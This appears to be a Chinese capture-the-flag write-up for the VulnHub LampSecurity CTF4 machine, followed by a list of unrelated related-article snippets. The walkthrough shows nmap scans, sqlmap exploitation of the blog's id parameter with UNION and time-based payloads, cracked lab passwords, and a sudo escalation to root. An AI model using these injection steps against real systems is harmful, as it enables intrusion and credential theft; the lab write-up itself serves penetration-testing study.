LampSecurityCTF4 靶机渗透 ( sqlmap ,ssh 参数调整 )

靶机介绍

来自 vulnhub

主机发现

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo nmap -sn 192.168.50.0/24                        
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 10:30 CST
Nmap scan report for 192.168.50.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.50.134
Host is up (0.00021s latency).
MAC Address: 00:0C:29:83:4F:85 (VMware)
Nmap scan report for 192.168.50.154
Host is up (0.00012s latency).
MAC Address: 00:0C:29:82:96:4D (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:F0:EB:77 (VMware)
Nmap scan report for 192.168.50.147
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.89 seconds┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo nmap --min-rate 10000 -p- 192.168.50.154        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 10:32 CST
Nmap scan report for 192.168.50.154
Host is up (0.00085s latency).
Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (host-prohibited)
PORT    STATE  SERVICE
22/tcp  open   ssh
25/tcp  open   smtp
80/tcp  open   http
631/tcp closed ipp
MAC Address: 00:0C:29:82:96:4D (VMware)Nmap done: 1 IP address (1 host up) scanned in 26.43 seconds┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo nmap -sT -sV -O -p22,25,80,631 192.168.50.154
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 10:33 CST
Nmap scan report for 192.168.50.154
Host is up (0.00028s latency).PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
631/tcp closed ipp
MAC Address: 00:0C:29:82:96:4D (VMware)
Device type: general purpose|switch|remote management|terminal server|WAP|proxy server
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (95%), SNR embedded (93%), Control4 embedded (92%), Dell iDRAC 6 (92%), Lantronix embedded (92%), SonicWALL embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:snr:snr-s2960 cpe:/o:dell:idrac6_firmware cpe:/h:lantronix:slc_8 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1 cpe:/o:sonicwall:aventail_ex-6000
Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (95%), Linux 2.6.13 - 2.6.32 (95%), SNR SNR-S2960 switch (93%), Linux 2.6.8 - 2.6.30 (92%), Control4 HC-300 home controller (92%), Linux 2.6.9 - 2.6.18 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Lantronix SLC 8 terminal server (Linux 2.6) (92%), OpenWrt Barrier Breaker (Linux 3.10) (92%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: ctf4.sas.upenn.edu; OS: UnixOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.74 seconds

web 渗透

看一看 80 端口
在这里插入图片描述
看到 blog 的地址有点意思,尝试注入
在这里插入图片描述不能目录穿越
在这里插入图片描述加个单引号看看有没有 sql 注入,报错显示可能存在 sql 注入
在这里插入图片描述
使用 sqlmap 开搞

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo sqlmap -u "http://192.168.50.154/index.html?page=blog&title=Blog&id=2" --dbs --dump --batch_____H__                                                                                                                                                          ___ ___["]_____ ___ ___  {1.8.8#stable}                                                                                                                              
|_ -| . [,]     | .'| . |                                                                                                                                             
|___|_  [)]_|_|_|__,|  _|                                                                                                                                             |_|V...       |_|   https://sqlmap.org                                                                                                                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:15:24 /2024-09-22/[16:15:24] [INFO] testing connection to the target URL
[16:15:25] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:15:25] [INFO] testing if the target URL content is stable
[16:15:25] [INFO] target URL content is stable
[16:15:25] [INFO] testing if GET parameter 'page' is dynamic
[16:15:25] [INFO] GET parameter 'page' appears to be dynamic[16:15:36] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 202 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: page=blog&title=Blog&id=2 AND 4384=4384Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: page=blog&title=Blog&id=2 AND (SELECT 2095 FROM (SELECT(SLEEP(5)))vaXr)Type: UNION queryTitle: Generic UNION query (NULL) - 5 columnsPayload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171787071,0x415268624c754c43496a5357775a7770505557625273597a6d7943717a4d676c514a68444e704450,0x7162787671)-- -
---
[16:15:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 (Bordeaux)
web application technology: PHP 5.1.2, Apache 2.2.0
back-end DBMS: MySQL >= 5.0.12
[16:15:36] [INFO] fetching database names
available databases [6]:
[*] calendar
[*] ehks
[*] information_schema
[*] mysql
[*] roundcubemail
[*] test[16:15:36] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[16:15:36] [INFO] starting 6 processes 
[16:15:37] [INFO] cracked password 'Homesite' for user 'pmoore'                                                                                                      
[16:15:37] [INFO] cracked password 'Sue1978' for user 'jdurbin'                                                                                                      
[16:15:37] [INFO] cracked password 'ilike2surf' for user 'dstevens'                                                                                                  
[16:15:38] [INFO] cracked password 'pacman' for user 'sorzek'                                                                                                        
[16:15:38] [INFO] cracked password 'undone1' for user 'ghighland'                                                                                                    
[16:15:38] [INFO] cracked password 'seventysixers' for user 'achen'                                                                                                  
Database: ehks                                                                                                                                                       
Table: user
[6 entries]
+---------+-----------+--------------------------------------------------+
| user_id | user_name | user_pass                                        |
+---------+-----------+--------------------------------------------------+
| 1       | dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
| 2       | achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3       | pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
| 4       | jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
| 5       | sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
| 6       | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
+---------+-----------+--------------------------------------------------+[16:15:39] [INFO] table 'ehks.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.50.154/dump/ehks/user.csv'
[16:15:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.154'[*] ending @ 16:15:39 /2024-09-22/

SSH 参数补写

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo ssh dstevens@192.168.50.154
Unable to negotiate with 192.168.50.154 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.50.154
Unable to negotiate with 192.168.50.154 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.50.154
The authenticity of host '192.168.50.154 (192.168.50.154)' can't be established.
RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.154' (RSA) to the list of known hosts.
BSD SSH 4.1
dstevens@192.168.50.154's password: 
Last login: Wed Mar 11 09:45:34 2009
[dstevens@ctf4 ~]$ 

初级 shell

看看这个初级 shell 都有啥

[dstevens@ctf4 ~]$ 
[dstevens@ctf4 ~]$ whoami
dstevens
[dstevens@ctf4 ~]$ ip addr
-bash: ip: command not found
[dstevens@ctf4 ~]$ pwd
/home/dstevens
[dstevens@ctf4 ~]$ ls
Desktop  html  install.log  mail  software
[dstevens@ctf4 ~]$ 

提权

直接提权,因为当前用户 dstevens 有全部权限

[dstevens@ctf4 ~]$ uname -a
Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 athlon i386 GNU/Linux
[dstevens@ctf4 ~]$ sudo -l
Password:
User dstevens may run the following commands on this host:(ALL) ALL
[dstevens@ctf4 ~]$ sudo /bin/bash
[root@ctf4 ~]# whoami
root
[root@ctf4 ~]# ip addr
bash: ip: command not found
[root@ctf4 ~]# ifconfig
bash: ifconfig: command not found
[root@ctf4 ~]# 

总结

主机发现
在端口上,发现 80 端口是一个博客的站
观察 url 的特征,发现可能存在 sql 注入
通过 sqlmap 注入,拿到账号密码
使用 ssh 登录,对 ssh 参数进行调整
拿到初级 shell
检查当前用户的权限,使用 /bin/bash 提权,拿到 root
结束

结语

这台靶机较简单,如果使用 sqlmap。这意味着可用手工注入,如果想深入学习就用手工注入做一遍吧😄

渗透工具对渗透来说是最不重要的

工具在真正的渗透中不适用,因为工具会携带特征码,容易被防火墙拦截

只有懂得 sql 注入,如判断列,order,concat 等等,在内网没有工具时也能进行渗透测试

burpsuit,metasploit,sqlmap,等等工具,都是如此吧

(来自红笔老师的指点)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146946.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

自闭症孩子送寄宿学校,给他们成长的机会

在自闭症儿童的教育与康复之路上,选择一种合适的寄宿方式对于孩子的成长至关重要。这不仅关乎到孩子能否获得专业的训练与关怀,还直接影响到他们未来的社交能力、独立生活能力以及心理健康。今天,我们将以广州的星贝育园自闭症儿童寄宿制学校…

【VUE3.0】动手做一套像素风的前端UI组件库---Radio

目录 引言做之前先仔细看看UI设计稿解读一下都有哪些元素:参考下成熟的组件库,看看还需要做什么? 代码编写1. 设计group包裹选项的组件group.vueitem.vue 2. 让group的v-model和item的value联动起来3. 完善一下item的指示器样式4. 补充禁用模…

MAE 模型

masked autoencoders (MAE) 论文地址:https://arxiv.org/abs/2111.06377 代码地址:https://github.com/facebookresearch/mae 模型结构图: 思想:自监督学习(Self-Supervised Learning),遮住大部分&…

机器学习(1)sklearn的介绍和六个主要模块、估计器、模型持久化

文章目录 1.sklearn介绍2.sklearn的模块3.监督学习和无监督学习1. 监督学习 (Supervised Learning)例子 2. 无监督学习 (Unsupervised Learning)例子 4.估计器估计器的主要特性和方法包括:估计器的类型:示例:使用 scikit-learn 中的估计器 5.…

恶意windows程序

Lab07-01.exe分析(DOS攻击) 1.当计算机重启后,这个程序如何确保它继续运行(达到持久化驻留)? 创建Malservice服务实现持久化 先分析sub_401040桉函数 尝试获取名为HGL345互斥量句柄,如果不存在则直接结束流程;如果存…

Zotero(7.0.5)+123云盘同步空间+Z-library=无限存储文献pdf/epub电子书等资料

选择123云盘作为存储介质的原因 原因1: zotero个人免费空间大小:300M,如果zotero云端也保存文献pdf资料则远远不够 原因2: 百度网盘同步文件空间大小:1G123云盘同步文件空间大小:10G 第一台电脑实施步骤…

23章 排序

1.编写程序&#xff0c;分别使用Comparable和Comparator接口对元素冒泡排序。 import java.util.Comparator;public class MySort {public static <E extends Comparable<E>> void bubbleSort(E[] list) {boolean needNextPass true;for (int i 1; needNextPass…

困扰霍金和蔡磊等人的渐冻症,能否在医学AI领域寻找到下一个解决方案?|个人观点·24-09-22

小罗碎碎念 前沿探索&#xff1a;医学AI在渐冻症&#xff08;Amyotrophic Lateral Sclerosis&#xff0c;ALS&#xff09;领域的研究进展 老粉都知道&#xff0c;小罗是研究肿瘤的&#xff0c;之前的推文也几乎都是探索医学AI在肿瘤领域的研究进展。 在查阅资料的时候&#xf…

跟着问题学12——GRU详解

1 GRU 1. 什么是GRU GRU&#xff08;Gate Recurrent Unit&#xff09;是循环神经网络&#xff08;Recurrent Neural Network, RNN&#xff09;的一种。和LSTM&#xff08;Long-Short Term Memory&#xff09;一样&#xff0c;也是为了解决长期记忆 和反向传播中的梯度等问题…

设计模式之结构型模式例题

答案&#xff1a;A 知识点 创建型 结构型 行为型模式 工厂方法模式 抽象工厂模式 原型模式 单例模式 构建器模式 适配器模式 桥接模式 组合模式 装饰模式 外观模式 享元模式 代理模式 模板方法模式 职责链模式 命令模式 迭代器模式 中介者模式 解释器模式 备忘录模式 观…

如何在jupyter notebook中使用虚拟环境

一&#xff1a;在cmd中打开已经创建好的虚拟环境 二&#xff1a;安装ipykernel conda install ipykernel 三&#xff1a;安装牛逼conda conda install -c conda-forge nb_conda 四&#xff1a;运行jupyter notebook,选择虚拟环境

带你0到1之QT编程:十七、Http协议实战,实现一个简单服务器和一个客户端进行http协议通信

此为QT编程的第十七谈&#xff01;关注我&#xff0c;带你快速学习QT编程的学习路线&#xff01; 每一篇的技术点都是很很重要&#xff01;很重要&#xff01;很重要&#xff01;但不冗余&#xff01; 我们通常采取总-分-总和生活化的讲解方式来阐述一个知识点&#xff01; …

SSM+vue音乐播放器管理系统

音乐播放器管理系统 随着社会的发展&#xff0c;计算机的优势和普及使得音乐播放器管理系统的开发成为必需。音乐播放器管理系统主要是借助计算机&#xff0c;通过对首页、音乐推荐、付费音乐、论坛信息、个人中心、后台管理等信息进行管理。减少管理员的工作&#xff0c;同时…

基于微信小程序的家教信息管理系统的设计与实现(论文+源码)_kaic

摘 要 随着互联网时代的来临&#xff0c;使得传统的家教模式已不复存在&#xff0c;亟需一种方便、快捷的在线教学平台。因此&#xff0c;利用Java语言作为支撑和MySQL数据库存储数据&#xff0c;结合微信小程序的便利性&#xff0c;为用户开发出了一个更加人性化、方便的家庭…

uniapp 整合 OpenLayer3

安装openLayer插件 命令行&#xff1a;npm install ol 安装sass插件 命令行&#xff1a;npm install -D sass 使用方法&#xff1a; *** *** <style scoped lang"scss"> </style> 安装ElementPlus 命令行&#xff1a;npm install element-plus -…

【宝藏案例篇!】不在同一局域网怎么远程桌面?实现远程桌面访问的3种方法推荐

不在同一局域网怎么远程桌面&#xff1f;当两台电脑不在同一局域网时&#xff0c;实现远程桌面访问可以通过多种方法。 以下是三种推荐的方法&#xff0c;以及每种方法的详细步骤和注意事项&#xff1a; 方法一&#xff1a;使用第三方远程控制软件 选择一款可靠的第三方远程控…

18938 汉诺塔问题

### 思路 1. **递归解决问题**&#xff1a;使用递归方法解决汉诺塔问题。 2. **递归基准**&#xff1a;当只有一个盘子时&#xff0c;直接从源杆移动到目标杆。 3. **递归步骤**&#xff1a; - 将n-1个盘子从源杆移动到辅助杆。 - 将第n个盘子从源杆移动到目标杆。 - …

JavaScript二进制浮点数和四舍五入错误

二进制浮点数和四舍五入错误 实数有无数个&#xff0c;但JS通过浮点数的形式&#xff0c;只能表示有限个数&#xff0c;JS表现的常常是真实值的近似表示。 二进制无法表示类似于0.1这样的十进制数字&#xff0c;只能机器近似于0.1&#xff0c;看如下代码&#xff1a; <!D…

Python 中的方法解析顺序(MRO)

在 Python 中&#xff0c;MRO&#xff08;Method Resolution Order&#xff0c;方法解析顺序&#xff09;是指类继承体系中&#xff0c;Python 如何确定在调用方法时的解析顺序。MRO 决定了在多继承环境下&#xff0c;Python 如何寻找方法或属性&#xff0c;即它会根据一定规则…

二,MyBatis -Plus 关于映射 Java Bean 对象的注意事项和细节(详细说明)

二&#xff0c;MyBatis -Plus 关于映射 Java Bean 对象的注意事项和细节(详细说明) 文章目录 二&#xff0c;MyBatis -Plus 关于映射 Java Bean 对象的注意事项和细节(详细说明)1. 映射2. 表的映射3. 字段映射4. 字段失效5. 视图属性6. 总结&#xff1a;7. 最后&#xff1a; 1.…